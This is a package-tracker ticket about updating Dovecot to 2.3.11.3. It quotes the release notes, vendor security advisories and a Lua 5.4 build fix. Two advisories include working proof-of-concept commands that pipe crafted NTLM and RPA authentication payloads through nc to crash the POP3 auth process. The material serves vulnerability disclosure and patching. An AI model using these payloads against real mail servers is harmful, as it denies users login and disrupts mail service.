dovecot-2.3.11.3

[Douglas R. Reno]

New point version

Looks like an emergency security release.

[Douglas R. Reno]

We are pleased to release v2.3.11.3. Please find it from locations below:

https://dovecot.org/releases/2.3/dovecot-2.3.11.3.tar.gz
https://dovecot.org/releases/2.3/dovecot-2.3.11.3.tar.gz.sig
Binary packages in https://repo.dovecot.org/
Docker images in https://hub.docker.com/r/dovecot/dovecot

Aki Tuomi
Open-Xchange oy

---

* CVE-2020-12100: Parsing mails with a large number of MIME parts could
  have resulted in excessive CPU usage or a crash due to running out of
  stack memory.
* CVE-2020-12673: Dovecot's NTLM implementation does not correctly check
  message buffer size, which leads to reading past allocation which can
  lead to crash.
* CVE-2020-10967: lmtp/submission: Issuing the RCPT command with an
  address that has the empty quoted string as local-part causes the lmtp
  service to crash.
* CVE-2020-12674: Dovecot's RPA mechanism implementation accepts
  zero-length message, which leads to assert-crash later on.
* Events: Fix inconsistency in events. See event documentation in
  https://doc.dovecot.org.
* imap_command_finished event's cmd_name field now contains "unknown"
  for unknown commands. A new "cmd_input_name" field contains the
  command name exactly as it was sent.
* lib-index: Renamed mail_cache_compress_* settings to mail_cache_purge_*.
  Note that these settings are mainly intended for testing and usually
  shouldn't be changed.
* events: Renamed "index" event category to "mail-index".
* events: service:<name> category is now using the name from
  configuration file.
* dns-client: service dns_client was renamed to dns-client.
* log: Prefixes generally use the service name from configuration file.
  For example dict-async service will now use
  "dict-async(pid): " log prefix instead of "dict(pid): "
* *-login: Changed logging done by proxying to use a consistent prefix
  containing the IP address and port.
* *-login: Changed disconnection log messages to be slightly clearer.
+ dict: Add events for dictionaries.
+ lib-index: Finish logging with events.
+ oauth2: Support local validation of JWT tokens.
+ stats: Add support for dynamic histograms and grouping. See
  https://doc.dovecot.org/configuration_manual/stats/.
+ imap: Implement RFC 8514: IMAP SAVEDATE
+ lib-index: If a long-running transaction (e.g. SORT/FETCH on a huge
  folder) adds a lot of data to dovecot.index.cache file, commit those
  changes periodically to make them visible to other concurrent sessions
  as well.
+ stats: Add OpenMetrics exporter for statistics. See
  https://doc.dovecot.org/configuration_manual/stats/openmetrics/.
+ stats: Support disabling stats-writer socket by setting
  stats_writer_socket_path="".
- auth-worker: Process keeps slowly increasing its memory usage and
  eventually dies with "out of memory" due to reaching vsz_limit.
- auth: Prevent potential timing attacks in authentication secret
  comparisons: OAUTH2 JWT-token HMAC, imap-urlauth token, crypt() result.
- auth: Several auth-mechanisms allowed input to be truncated by NUL
  which can potentially lead to unintentional issues or even successful
  logins which should have failed.
- auth: When auth policy returned a delay, auth_request_finished event
  had policy_result=ok field instead of policy_result=delayed.
- auth: auth process crash when auth_policy_server_url is set to an
  invalid URL.
- auth: Lua passdb/userdb leaks stack elements per call, eventually
  causing the stack to become too deep and crashing the auth or
  auth-worker process.
- dict-ldap: Crash occurs if var_expand template expansion fails.
- dict: If dict client disconnected while iteration was still running,
  dict process could have started using 100% CPU, although it was still
  handling clients.
- doveadm: Running doveadm commands via proxying may hang, especially
  when doveadm is printing a lot of output.
- imap: "MOVE * destfolder" goes to a loop copying the last mail to the
  destination until the imap process dies due to running out of memory.
- imap: Running "UID MOVE 1:* Trash" on an empty folder goes to infinite
  loop.
- imap: SEARCH doesn't support $.
- lib-compress: Buffer over-read in zlib stream read.
- lib-dns: If DNS lookup times out, lib-dns can cause crash in calling
  process.
- lib-index: Fixed several bugs in dovecot.index.cache handling that
  could have caused cached data to be lost.
- lib-index: Writing to >=1 GB dovecot.index.cache files may cause
  assert-crashes:
  Panic: file mail-index-util.c: line 37 (mail_index_uint32_to_offset):
  assertion failed: (offset < 0x40000000)
- lib-mail: v2.3.11 regression: MIME parts not returned correctly by
  Dovecot MIME parser.
- lib-ssl-iostream: Fix buggy OpenSSL error handling without
  assert-crashing. If there is no error available, log it as an error
  instead of crashing:
  Panic: file iostream-openssl.c: line 599 (openssl_iostream_handle_error):
  assertion failed: (errno != 0)
- lib-ssl-iostream: ssl_key_password setting did not work.
- pop3-login: Login didn't handle commands in multiple IP packets properly.
  This mainly affected large XCLIENT commands or a large SASL initial
  response parameter in the AUTH command.
- pop3: pop3_deleted_flag setting was broken, causing:
  Panic: file seq-range-array.c: line 472 (seq_range_array_invert):
  assertion failed: (range[count-1].seq2 <= max_seq)
- pop3-login: Login would fail with "Input buffer full" if the initial
  response for SASL was too long.
- submission: A segfault crash may occur when the client or server
  disconnects while a non-transaction command like NOOP or VRFY is still
  being processed.
- virtual: Copying/moving mails with IMAP into a virtual folder
assert-crashes:
  Panic: file cmd-copy.c: line 152 (fetch_and_copy): assertion failed:
  (copy_ctx->copy_count == seq_range_count(&copy_ctx->saved_uids))

[Douglas R. Reno]

Email from oss-security regarding CVE-2020-12100:

Open-Xchange Security Advisory 2020-08-12

Affected product: Dovecot IMAP server
Internal reference: DOP-1849 (Bug ID)
Vulnerability type: Uncontrolled recursion (CWE-674)
Vulnerable version: 2.0
Vulnerable component: submission, lmtp, lda
Fixed version: 2.3.11.3
Report confidence: Confirmed
Solution status: Fix available
Vendor notification: 2020-04-23
CVE reference: CVE-2020-12100
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Vulnerability Details:
Receiving mail with deeply nested MIME parts leads to resource
exhaustion as Dovecot attempts to
parse it.

Risk:
Malicious actor can cause denial of service to mail delivery by
repeatedly sending mails with bad
content.

Workaround:
Limit MIME structures in MTA.

Solution:
Upgrade to fixed version.

Best regards,

Aki Tuomi
Open-Xchange oy

[Douglas R. Reno]

Email from oss-security regarding CVE-2020-12673

Open-Xchange Security Advisory 2020-08-12

Affected product: Dovecot IMAP server
Internal reference: DOP-1870 (Bug ID)
Vulnerability type: CWE-789 (Uncontrolled Memory Allocation)
Vulnerable version: 2.2
Vulnerable component: auth
Fixed version: 2.3.11.3
Report confidence: Confirmed
Solution status: Fix available
Vendor notification: 2020-05-03
CVE reference: CVE-2020-12673
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Vulnerability Details:
Dovecot's NTLM implementation does not correctly check message buffer
size, which leads to reading past allocation which can lead to crash.

Risk:
An adversary can use this vulnerability to crash dovecot auth process
repeatedly, preventing login.

Steps to reproduce:
(echo 'AUTH NTLM'; echo -ne
'NTLMSSP\x00\x01\x00\x00\x00\x00\x02\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
| \
base64 -w0 ;echo ;echo -ne
'NTLMSSP\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AA\x00\x00\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00orange\x00'|
\
base64 -w0;echo ; echo QUIT)  | nc 127.0.0.1 110

Workaround:
Disable NTLM authentication.

Solution:
Upgrade to fixed version.

Best regards,
Aki Tuomi
Open-Xchange oy

[Douglas R. Reno]

Email from oss-security regarding CVE-2020-12674

Open-Xchange Security Advisory 2020-08-12

Affected product: Dovecot IMAP server
Internal reference: DOP-1869 (Bug ID)
Vulnerability type: CWE-126 (Buffer over-read)
Vulnerable version: 2.2
Vulnerable component: auth
Fixed version: 2.3.11.3
Report confidence: Confirmed
Solution status: Fix available
Vendor notification: 2020-05-03
Researcher credit: Orange from DEVCORE team
CVE reference: CVE-2020-12674
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Vulnerability Details:
Dovecot's RPA mechanism implementation accepts zero-length message,
which leads to assert-crash later on

Risk:
An adversary can use this vulnerability to crash dovecot auth process
repeatedly, preventing login.

Steps to reproduce:
(echo 'AUTH RPA'; echo -ne
'\x60\x11\x06\x09\x60\x86\x48\x01\x86\xf8\x73\x01\x01\x01\x00\x04\x00\x00\x01'
| base64 -w 0; echo ; echo -ne
'\x60\x11\x06\x09\x60\x86\x48\x01\x86\xf8\x73\x01\x01\x00\x03A@A\x00' |
base64 -w 0; echo ; echo QUIT) | nc 127.0.0.1 110

Workaround:
Disable RPA authentication.

Solution:
Upgrade to fixed version.

Best regards,
Aki Tuomi
Open-Xchange oy

[Douglas R. Reno]

This version of dovecot has an incompatibility with Lua-5.4. I was able to fix it with the following sed:

sed -i 's/lua_newuserdata/lua_newuserdatauv/' src/lib-lua/dlua-dovecot.c

I was able to determine that it was due to API changes based off the documentation here:

​https://www.lua.org/manual/5.4/manual.html

Full userdata now has an arbitrary number of associated user values. Therefore, the functions lua_newuserdata, lua_setuservalue, and lua_getuservalue were replaced by lua_newuserdatauv, lua_setiuservalue, and lua_getiuservalue, which have an extra argument.

For compatibility, the old names still work as macros assuming one single user value. Note, however, that userdata with zero user values are more efficient memory-wise. 

[Douglas R. Reno]

Fixed at r23500